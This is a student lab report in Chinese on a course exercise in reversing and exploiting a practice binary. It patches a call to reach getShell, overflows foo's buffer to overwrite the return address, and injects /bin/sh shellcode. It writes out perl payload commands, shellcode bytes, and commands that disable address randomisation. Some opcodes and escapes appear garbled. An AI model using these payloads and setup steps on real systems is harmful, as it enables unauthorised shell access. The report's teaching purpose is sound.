zoukankan      html  css  js  c++  java
  • 20165214 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3

    《网络对抗技术》Exp1 PC平台逆向破解之“逆向及Bof基础实践说明” Week3

    一、 实验预习

    • 1、什么是漏洞?漏洞有什么危害?

    漏洞就是在计算机硬件、软件、协议、安全策略上存在的缺点。利用这些缺点,攻击者可以对计算机系统进行攻击,从而达到一定的目的。漏洞威胁了计算机的系统安全,给攻击者有可乘之机,可能引起经济损失、机密泄露、隐私暴露、数据篡改等问题。

    • 2、掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(以下为16进制)

    NOP:91,空指令
    JNE: 75,条件跳转,判断是否等于,若不等于则跳转
    JE :74,条件跳转,判断是否等于,若等于则跳转
    JMP:E9,无条件转移
    CMP:38~3D,比较两个数的大小

    • 3、掌握反汇编与十六进制编程器
      • 反汇编指令参数

    objdump -C:将底层的符号名解码成用户级名字,除了去掉所有开头
    objdump -d 反汇编那些应该还有指令机器码的section
    objdump -f 显示objfile中每个文件的整体头部摘要信息
    objdump -h 显示目标文件各个section的头部摘要信息
    objdump -i 显示对于 -b 或者 -m 选项可用的架构和目标格式列表
    objdump -j name 仅仅显示指定section的信息
    ...
    - 如何linux下使用16进制编辑器(参考博客
    使用VIM指令进入文件后,按下键,输入%!xxd再按回车,可以把文件中的内容转换为16进制显示;转换后,可以输入%!xxd -r再按回车转换回来。

    二、实验内容

    本次实验对象为名为pwn1的pwn1的linux可执行文件。程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

    实验分为三部分:

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。

    三、实验步骤

    • 实验开始前,先建立相应的文件夹,然后复制pwn1并重命名

    步骤一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

    • 对文件“part1”进行反汇编:objdump -b part1 | more,得到part1的汇编语言表示,找到关于我们所要的函数跳转的部分:
    • 我们针对上图进行相应的分析。
      • 1、可以看到,原本的函是在执行主函数时调用foo,也就是跳转到foo函数的首地址处。所以,我们要做的就是修改主函数中的跳转地址,使得程序跳转到getshell函数的首地址。
      • 2、主函数中有一条是call 8048491<foo>,这里8048491就是foo函数的首地址。这条指令的机器码部分是e8 d7 ff ff ff ,其中e8是指令call的机器码,后面的d7 ff ff ff是目的地址减去eip寄存器中地址的值,如果是负数要换算成补码。这里的e8 d7 ff ff ff8048491-80484ba的结果换算成补码。为什么是减去80484ba而不是 80484b5呢?因为eip寄存器中存放的是下一条指令所在的地址
      • 3、从图中我们可以看到,函数getshell的首地址是804847d。也就是说我们需要把804847d-80484ba的结果换算成补码,替换原来的e8 d7 ff ff ff 。计算结果是ff ff ff c3
    • 接下来就是地址替换的过程
      • 1、使用vi进入“part1”,发现一堆乱码。
      • 2、输入:后,键入%!xxd,按回车,将文件内容转化为16进制表示
      • 3、输入/d7搜索d7出现的地方。观察一下d7前后,确定是我们要修改的地方。确认后按i进入编辑模式,把d7改为c3。
      • 4、输入:后,键入%!xxd -r将文件内容转化为原来的表示方式
      • 5、使用wq保存并推出文件
    • 最后进行检验。在命令行中输入./part1执行part1,输入ls,发现执行结果是该目录下的文件名。说明修改成功。

    步骤二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

    • 首先要知道,在“part2”中的main函数调用的是foo函数,foo函数在执行完后会返回,也就是指向main函数中调用foo函数这条指令的下一条指令。我们要做的是利用foo中的buf漏洞,覆盖返回地址,使得在输入参数后直接执行shellcode,而非foo函数。附上一张图能够更加清晰地了解这一概念。

    • 对文件“part2”进行反汇编:objdump -b part2 | more,得到part2的汇编语言表示,找到关于我们所要的部分:

    • 对上图进行分析,发现buf的长度是1c(十六进制)字节,再加上%ebp占用的4字节,结果转换成十进制是32字节。

    • 使用gdb调试“part2”,验证是否32字节以外的内容会被写进%eip寄存器。

      • 1、在命令行输入gdb part2进入调试页面
      • 2、输入r开始运行,输入参数,然后输如info r进行查看
      • 3、看上图,看到%eip的值为0x353535350x35是5的ASCII码。这就说明了32字节以外的内容会被写进%eip寄存器
    • 所以我们接下来要做的是在输入时,在32字节的内容后面加上getshell函数的首地址的ASCII码信息。从之前的截图可以知道其首地址为804847d,由于是小端序列,所以我们要输入的是32字节的内容+x7dx84x04x08。x表示的是转换为ASCII码

      • 1、我们无法通过键盘输入x7dx84x04x08这样的16进制值,所以要使用指令perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a" ' > input先生成包括这个字符串的一个文件。x0a表示回车。
      • 2、使用vi指令进入“input”文件。输入%!xxd转换为十六进制进行查看:
      • 3、使用cat和管道,在执行“part2”的同时把文件“input”中的内容作为参数输入:(cat input ;cat) | ./part2,再使用;s命令和pwd命令进行调试,可以看到结果。

    步骤三: 注入Shellcode并执行

    • 安装execstack
    • 修改堆栈的设置

      execstack -s part3//设置堆栈可执行
      execstack -q part3//查询文件的堆栈是否可执行
      more /proc/sys/kernel/randomize_va_space //查看每次执行程序时堆栈位置是否移动
      echo "0" > /proc/sys/kernel/randomize_va_space//关闭地址随机化
      more /proc/sys/kernel/randomize_va_space //关闭后查看结果

    • 先构造一个shellcode语句,并且把这个语句写入到文件“input_3”中(参考老师的博客中给出的shellcode):

    perl -e 'print "A" x 32;printf "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00" '>input_3

    • 上面的x4x3x2x1用来暂时表示shellcode代码的首地址,接下来我们要做的是寻找其真正的首地址
      • 1、在目前终端的命令行输入(cat input_3;cat) | ./part3

      • 2、输入ps -ef | grep part3来获得进程号。进程号为5013。(从这里就可以知道为什么在构造shellcode的时候不要有回车)

      • 3、打开另一终端,进入到实验文件所在目录,使用gbd进行调试。在gdb中输入attach 5013,再输入disassemble foo来查看注入内容的地址。

      • 4、在ret这一句设置断点:break *0x080484ae,然后切换至另一终端,按下回车

      • 5、使用info -r rsp来查看栈顶指针,为0xffd708ac。再输入x/16x 0xffd708ac查看指针指向的内容

      • 6、可以从上图看到,只要把0xffd708ac加上4就能得到shellcode的首地址为0xffd708b0

    • 找到首地址后,切换终端,先终止当前进程。然后打开input_3将其修改为16进制表示后进行修改,把x04x03x02x01修改为xb0x08xffx7d再输入(cat input_3;cat) | ./part3,再输入ls进行验证。成功

    四、心得体会

       本次实验内容虽然比较简单,但是我花了6个多小时来完成。对于实验内容中的每一步我都尽所能地去了解其中的原理,并把实验过程中所学到的都做了笔记,来巩固自己的记忆。总体来说收获还是很大的,这次实验让我学会了缓冲区溢出攻击的基本原理和一些简单的方式。这是我第一次接触到这样的实验,感觉很有趣,期待接下来的其他实验~并且期待自己经过不断的学习能够成为一名黑客,能够主动地对某些主机发动简单的攻击(当然不会是恶意的,会找同学互相尝试)。为了这一目标今后也会更加努力地学习。
  • 相关阅读:
    Python爬取网页信息
    C++面向程序设计(第二版)课后习题答案解析
    蓝桥杯——算法分析
    python爬虫——数据爬取和具体解析
    python爬虫——爬取网页数据和解析数据
    Python文件的读写操作
    C++第三章课后作业答案及解析---指针的使用
    C语言蓝桥杯比赛原题和解析
    Web开发技术---简单的登录验证
    C++面向对象程序设计第三章习题答案解析
  • 原文地址:https://www.cnblogs.com/zhuwenyuan/p/10540467.html
Copyright © 2011-2022 走看看